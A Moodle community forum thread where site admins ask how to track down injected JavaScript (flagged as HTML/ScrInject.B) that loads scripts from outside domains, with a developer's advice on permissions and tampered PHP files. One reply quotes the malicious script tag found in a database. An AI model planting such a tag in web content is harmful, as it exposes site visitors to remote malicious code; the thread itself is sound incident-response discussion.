Howto find Trojan HTML/ScrInject.B trojan on my site?

Howto find Trojan HTML/ScrInject.B trojan on my site?

by Urs Rau -
Number of replies: 2

I am running moodle 3.8.3 (Build: 20200511) on linux fully patched centos 7.8. Several ( but not all ) clients get an AV Eset warning about a Trojan by the name of HTML/ScrInject.B on our site. 

I can trigger the Eset Av trojan warning by doing a course search for the term 'pre' . 

I looked at the web console and the site does a couple of suspicious and unexpected site lookups to GET  js from https://onlinekey.biz/1f9f5ee62aefca3cb1.js and also to https://criticalltech.com/metric/ .

Why would a site course search make GET connections to those two sites? I can also find those two sites in the sites '/moodledata/cache/cachestore_file/default_application/core_htmlpurifier/5fc-cache/5fc255ad852c8bcb9dbf94fd6e32ea8abc7f3923.cache' file.

Does the 'core_htmlpurifier' it mean that moodle has already neutralized the trojan ?

But more importantly, how do I find where on my site this js gets injected from? I have done a website and a full server string search and not surfaced any file on disk that contains any of those two URLs.

Can I search the mysql db for those terms as well? Or are they maybe obfuscated? Possibly base64 encoded? Any help and pointers on how I can rid our site from that pest?

Thanks for any hints.


Average of ratings: -
In reply to Urs Rau

Re: Howto find Trojan HTML/ScrInject.B trojan on my site?

by Howard Miller -
Picture of Core developers Picture of Documentation writers Picture of Particularly helpful Moodlers Picture of Peer reviewers Picture of Plugin developers
Firstly, I have no idea what that Trojan actually is. We regularly see false positives around Moodle so there may not be anything to worry about.

The only way that the code can be updated if you have incorrect permissions. It is vital (assuming your site is accessible from the public internet) that the Moodle code files are NOT writeable by the web server user. The classic trojan in PHP code will write a whole bunch of seemingly random characters on the <?php line. That's worth a look for in common files like config.php and the main index.php

See also Hacked_site_recovery
Average of ratings: -
In reply to Howard Miller

Re: Howto find Trojan HTML/ScrInject.B trojan on my site?

by Jean-François PETIT -

Hi

i found a malware inject in my database

I am on moodle 3.5 on Centos

//cooljorrd//

<script type="text/javascript" src="https://cooljorrd.com/222f7a82dfe46c1031.js"></script>

and affect question and all table question answer feedback with html

I want open script secure on editor but only for admin, do you know how to clean the database, and how to forbidden <script>

Thanks

Average of ratings: -